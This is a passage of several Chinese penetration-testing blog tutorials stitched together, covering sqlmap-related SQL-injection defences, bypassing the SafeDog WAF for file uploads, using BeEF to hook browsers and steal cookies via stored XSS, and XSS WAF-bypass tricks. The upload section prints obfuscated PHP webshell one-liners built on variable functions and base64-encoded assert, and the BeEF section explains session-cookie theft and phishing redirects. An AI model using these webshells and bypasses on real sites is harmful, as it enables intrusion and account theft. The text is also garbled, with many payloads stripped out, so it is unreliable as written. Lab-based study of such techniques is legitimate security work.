FROM users WHERE username = :username"); $stmt->execute(['username' => $user_input]); $result = $stmt->fetchAll(); print_r($result); } catch (PDOException $e) { throw new PDOException($e->getMessage(), (int)$e->getCode()); } ?>2. 使用ORM（对象关系映射）ORM框架如Hibernate、Django ORM等，内部实现了参数化查询，从而自动防止SQL注入。使用ORM可以简化数据库操作，同时提高安全性。示例（Django ORM）：from myapp.models import User user_input = "O'Reilly" # 尝试注入的输入 users = User.objects.filter(username=user_input) for user in users: print(user.username)3. 严格限制数据库权限确保数据库用户只拥有执行其所需操作的最小权限集。例如，一个Web应用程序的用户数据库账户可能只需要对特定表的SELECT和UPDATE权限，而不需要对数据库的DROP或ALTER权限。4. 使用Web应用防火墙（WAF）部署Web应用防火墙可以检测和阻止SQL注入攻击。WAF可以识别并拦截包含潜在恶意SQL代码的HTTP请求。5. 输入验证虽然输入验证不是防止SQL注入的可靠方法（因为它可能无法覆盖所有可能的注入场景），但它可以作为额外的安全层。验证所有用户输入，确保它们符合预期的格式和类型。总结通过本文的学习，读者不仅掌握了sqlmap的基本使用方法，还深入了解了其高级特性和绕过技巧。从目标URL的指定、请求参数的配置，到注入技术的选择、数据库信息的枚举，再到操作系统命令的执行，sqlmap展现出了其作为渗透测试工具的强大功能和灵活性。在实际应用中，sqlmap能够帮助安全研究人员和渗透测试人员快速发现Web应用程序中的SQL注入漏洞，并通过进一步的枚举和分析，揭示潜在的安全风险。同时，通过合理的配置和技巧应用，sqlmap还能有效绕过WAF等安全防护措施，提高渗透测试的成功率。然而，值得注意的是，sqlmap作为一款强大的渗透测试工具，其使用必须遵守法律法规和道德规范。未经授权的渗透测试可能构成非法行为，因此在使用sqlmap进行渗透测试时，务必确保已获得合法授权，并遵守相关安全政策和标准。总之，sqlmap是安全研究和渗透测试中不可或缺的工具之一。通过本文的学习，读者不仅能够掌握其基本和高级用法，还能在实际操作中灵活运用，提高渗透测试的效率与成功率，为Web应用程序的安全防护贡献力量。文章参考：https://blog.csdn.net/weixin_43819747/article/details/136736688https://blog.csdn.net/qq_45927266/article/details/119297840原文：https://mp.weixin.qq.com/s/j6lN3j7rtALUX4gAH5ll3Q
基础篇：https://mp.weixin.qq.com/s/od0djMG4iwO755N2YgDAHg环境搭建首先去官网下载安全狗，进行网站配置，或者后台回复【安全狗】，靶场源码和WAF软件都准备好了，都是最新版本的，直接下载就行安全狗配置文件防护规则这里用upload-labs中的第六关进行文件上传测试第六关是在文件后缀添加一个空格就可以上传成功WAF环境已搭好WAF绕过基于文件名称的绕过%00截断首先上传一个php文件，抓包文件后面添加;.jpg将;的hex编码替换为00，造成00截断，如下效果知识扩展%00截断是一种在文件上传或URL处理过程中常见的安全绕过技术，它利用了某些编程语言或系统在处理字符串时的一个特性：即当遇到空字符（null character，ASCII码为0，即�或%00在URL编码中）时，会认为字符串已经结束，从而忽略了空字符之后的所有内容。可以看到，虽然绕过了WAF还是有代码红色警告没有上传成功，这个时候我们就可以在原来有代码漏洞的情况下，进行绕过，原来代码存在空格绕过，这里我们就用空格进行绕过，添加一个空格上传成功，点击查看源码，就可以看到文件上传的位置（这个图片的位置）多个等号这个操作就更简单了，直接在文件名的位置把一个等于换成多个等于，也能绕过WAF，此时再在末尾加空格，直接成功上传，如下哈哈，没有成功，原文是这样写的，可能已经修复了基于内容拦截绕过此时我们访问，这个php文件被拦截了，这就是基于内容的拦截，像经常使用的一句话木马都会被安全狗绕过[1].畸形传参木马这里要用到hackerbox谷歌插件或者使用火狐浏览器，默认下载不是破解的，我准备好了破解版本，后台私信【hackbox】即可<?php $a = $_GET['x']; $$a = $_GET['y']; $b($_POST['z']);//调用 $b 变量所引用的函数，并将 $_POST['z'] 的值作为参数传递给它。 ?>我们所使用的一句话木马是市面上最为常见的类型，因此几乎所有的WAF（Web应用防火墙）都能识别并拦截这段内容。这正是导致我们上传后无法访问的根本原因。为了验证这一点，你可以尝试开启安全狗的木马扫描功能，看看它是否能被检测出来，从而判断其是否具备免杀能力。上图可以看到并没有检测到，用get方式传如参数x和y，值分别为b和assert ，再用POST方式传如参数z，值为自己想执行的命令[2].经典编码木马通过assert函数的base64编码后的拼接即可绕过，如下：<?php $e=base64_decode("hellow小羽网安"); $e($_POST['aa']); ?>免杀情况我们将中文放在了后面，此时出现拦截我放在前面试试，还是拦截穿插进去，就可以了，不知道是什么原理，php特性、base64编码检测，还是安全狗防护机制，有大佬路过指教一下，谢谢你执行成功上面的绕过方式不可避免都有一些问题，那就是传参时使用了敏感关键字，比如phpinfo()之类的，有一些防火墙就会检测传入的参数是否含有敏感内容(例如宝塔)，那这时候我们怎么办呢？我们可以把传参使用的敏感关键字变成其他编码格式，比如base64，再在一句话木马中对传入的参数先做一个解码操作，如下在木马中添加解码操作<?php $e=base64_decode("YX小羽网安NzZ公众号XJ0"); $e(base64_decode($_POST['aa'])); ?>这个时候我们就可以将phpinfo拿去base64进行加密这个时候就可以执行php代码了，绕过了关键字的检测其他失败案例参考复写失败脏数据绕过失败修改为单引号失败去掉双引号失败.php放到引号的外面上传成功，但是并没有这个php文件查看上传之后的文件，并不是php文件那不加后缀试试，显示文件内容，并没有执行所以使用蚁剑也连接不了数据截断绕过-防匹配(; / 换行)失败参数多次失败总结本教程通过实际搭建环境，展示了文件上传中WAF的多种绕过技巧，包括%00截断、畸形传参木马、经典编码木马等。尽管部分绕过方法因WAF更新而失效，但实验过程揭示了安全机制与绕过技术的博弈。通过不断尝试与创新，攻击者总能找到新的突破点，而防御方则需持续更新策略以应对新威胁。这强调了持续安全监测与加固的重要性。网安学习不迷路，欢迎各位大佬加入讨论
早八人，护网在即，该学习了~前言BEEFXSS（Browser Exploitation Framework XSS），更常见的称呼是BeEF（The Browser Exploitation Framework），是一个开源的浏览器漏洞利用框架。它由Michał Zalewski于2006年创建，旨在帮助渗透测试人员评估Web浏览器的安全性，发现并利用其中的漏洞。XSS基础篇：https://mp.weixin.qq.com/s/RJcOZuscU07BEPgK89LSrQXSSWAF绕过篇：https://mp.weixin.qq.com/s/P2AX2ebnzaCw-NoNwLwIRA工具使用更新源apt-get update 安装apt-get install beef-XSS 输入账号密码，本身默认的密码和账号分别为 beef 和 beef启动beef-XSS得到js文件攻击载荷即XSS的js脚本地址，链接为你的IP地址+端口下的js访问面板 http://:3000/ui/panl账号：beef， 密码：是你在上面输入的密码（这里我输入的是：root）存储型XSS利用，当然也可以使用其他具有XSS漏洞的平台，比如XSSlabs使用script标签链接你攻击机器的脚本地址，提交即可好，找到一个具有xss漏洞的界面，执行script这里已成功上限log日志，获取浏览器的基本信息，当前在哪个页面，是否聚焦，鼠标在那个位置等等获取cookie选中靶机，在Command面板找到GetCookie命令并执行，比如获取cookie，这里直接获取到了cookie信息配合钓鱼重定向，即你访问具有存储型XSS的界面的时候，他会自动跳转到你预设的链接（钓鱼）地址引导下载当然也可以将跳转的链接转化为图片，比如使用img标签，链接到这个图片如果payload过长输入不了就可以使用短链、短链生成一些好玩的命令命今颜色(Color):绿色对目标主机生效并且不可见(不会被发现)橙色对目标主机生效但可能可见(可能被发现)灰色对目标主机来未必生效(可验证下)红色对目标主机不生效beef-xss主要模块Browser：此模块主要针对浏览器进行信息收集或攻击。其子选项卡“Hooked Domain”能够获取HTTP属性值，如cookie、表单值等，并执行简单的浏览器操作，例如替换href值、弹出警告框、重定向浏览器等。部分模块会根据受害者的浏览器类型来决定是否显示，主要涉及浏览器通用操作和其他基本信息检测。Chrome Extensions：此模块专门针对谷歌浏览器的扩展插件进行信息收集或攻击。Debug：提供调试功能，用于测试和修复Beef框架中的问题。Exploits：此模块利用已公开的漏洞进行攻击测试，帮助用户了解系统或应用的安全性。Host：针对主机进行信息收集，如检测主机的浏览器、系统信息、IP地址、安装软件等。IPEC：负责协议间通信，主要用于连接和控制受害者的浏览器。Metasploit：Beef可与Metasploit平台联合配置，一旦有受害者出现，可通过信息收集确定是否存在漏洞，进一步方便进行Metasploit攻击测试。Misc：包含一些杂项功能，提供额外的工具和选项。Network：进行网络扫描，帮助用户了解网络环境和潜在的安全风险。Persistence：维护受害者访问，确保长时间对受害者进行监控和控制。Phonegap：针对手机设备进行测试，帮助用户了解移动设备的安全性。Social Engineering：利用社会工程学方法进行攻击，通过诱导、欺骗等手段获取受害者的敏感信息或执行恶意操作。听说护网很激烈啊ოර⌄රო ~~~~
XSS 基础：Web安全中的XSS攻击详细教学，XSS-Labs靶场通关全教程（建议收藏）（一）、Web安全中的XSS攻击详细教学（二）--已完结如果懒得找靶场和安全狗防火墙后台回复【靶场】即可获取image-20240722161008610复现网站安全狗最新 v4.0 已经准备好image-20240722104320515这里用 XSSlab 进行 WAF 绕过测试image-20240722102257861还是一样安全狗 WAF 测试http://192.168.209.149/level1.php?name= image-20240722102220534基础 payloadphp<?phpecho " ";?>img css formXSS利用方式1 XSS利用方式2 input iframe 经过测试以上内容皆执行不了，但是还有一个svg没测试svg！成功了一个，看来 v4.0 的安全狗没有对 svg 进行防护，payload 如下 image-20240722103703228常见的 WAF 绕过 payload1.大小写绕过 image-202407221300440002、双写绕过image-202407221309172023、imgimage-202407221309530464、onmouseover 事件当用户鼠标移动时即可运行代码 image-20240722131108228当用户鼠标在这个块上面时即可运行（可以配合 weight 等参数将 div 覆盖页面，鼠标不划过都不行）image-202407221313538565、onclick 事件buttonimage-202407221317099956、onload 事件例如 之前已经测试过了，svg 的 onoad 事件可以7、编码脚本绕过关键字image-202407221322232148、主动闭合标签实现注入代码image-202407221341403009、绕过 HTML 注释符image-2024072213461653010、利用换行符绕过image-2024072213474591411、绕过右标签image-2024072213480705012、绕过</内容>image-20240722134857902字典爆破image-20240722135712030这个时候直接一个一个去访问即可image-20240722141703806这里我们找到一个 iframe 的 payload，尝试访问，成功加载，但是看源码，标签没有闭合image-20240722141540870我们在 url 中闭合这个标签，就可以了image-20240722141917556绕过思路一、更改提交方式在默认配置下，为了节省资源，许多 WAF 只会对 GET 请求进行过滤拦截，而忽略了对 POST 请求、Cookie、HTTP Header 等其他提交方式的检测。因此，攻击者可以尝试更改有害语句的提交方式，如将 GET 请求修改为 POST 请求，或者通过 Cookie、HTTP Header 等方式提交恶意脚本，以绕过 WAF 的拦截。二、混淆伪装绕过混淆伪装是一种常见的绕过 WAF 的手段，攻击者通过编码、大小写混淆、双写、转义字符等方式对恶意脚本进行伪装，使其绕过 WAF 的关键词过滤规则。例如，将 JavaScript 代码中的关键字进行大小写混淆（如三、标签和事件函数变换XSS 攻击主要是通过触发 HTML 标签中的事件函数来执行恶意脚本。因此，WAF 会重点识别能够触发事件函数的 HTML 标签和事件函数字段。攻击者可以尝试使用其他可以执行 JavaScript 代码的 HTML 标签（如 , , 等）替换常用的四、利用 WAF 的缺陷和配置不当「增加 WAF 负担」：有些 WAF 在处理大量数据时可能会降低检测精度或放弃检测部分数据包。攻击者可以通过向 WAF 发送大量正常数据包并夹杂异常数据包的方式，增加 WAF 的负担，从而绕过 WAF 的检测。「利用 WAF 配置不当」：WAF 的配置可能存在漏洞或不当之处，如只检测部分参数、忽略某些类型的请求等。攻击者可以通过分析 WAF 的配置规则，构造绕过 WAF 检测的请求。「旁站绕过」：在某些情况下，网站管理员可能只对主站进行了 WAF 防护，而忽略了旁站或子域名的防护。攻击者可以尝试通过旁站或子域名绕过 WAF 的防护。五、使用自动化工具自动化工具如XSStrike 等可以帮助攻击者自动测试 WAF 的防护效果，并生成绕过 WAF 的 payload。这些工具通常包含多种绕过 WAF 的技巧和策略，可以显著提高攻击的成功率。❝XSStrike 开源地址：https://github.com/s0md3v/XSStrike❞六、其他技巧「利用伪协议」：某些 HTML 属性支持伪协议（如JavaScript: ），攻击者可以利用这些属性执行恶意脚本。「利用 CSS 跨站」：在某些情况下，攻击者可以利用 CSS 中的某些特性（如expression() ）执行 JavaScript 代码。「利用全局变量和函数」：JavaScript 中的全局变量和函数（如eval() , window.onload 等）可以在不直接引用脚本标签的情况下执行代码，攻击者可以尝试利用这些变量和函数绕过 WAF 的防护。七、举例这里我就拿标签事件函数变换来举例、首先判断标签名称，是否可用比如iframe ，它可以正常访问，说明 标签没有进行过滤http://192.168.209.149/level1.php?name= image-20240722143819570标签没有进行过滤，尝试闭合这个标签，ok 正常访问image-20240722144155301判断属性 src，好没有过滤image-20240722144230962加了个= 就被拦截了，这时候没法继续了，换个事件试试image-20240722144259675image-20240722144611518这里拿 onload 尝试image-20240722144645731❝需要注意的是，以上绕过 WAF 的思路和技巧仅供学习和研究网络安全使用，不得用于非法攻击和破坏活动。在实际应用中，网站管理员和 WAF 开发者应不断更新和完善 WAF 的防护策略，提高网站的安全性。❞SQL 注入 WAF 绕过文章参考：SQL注入绕过某狗的waf防火墙，这一篇就够了，6k文案超详细、SQL注入某狗WAF绕过（补充）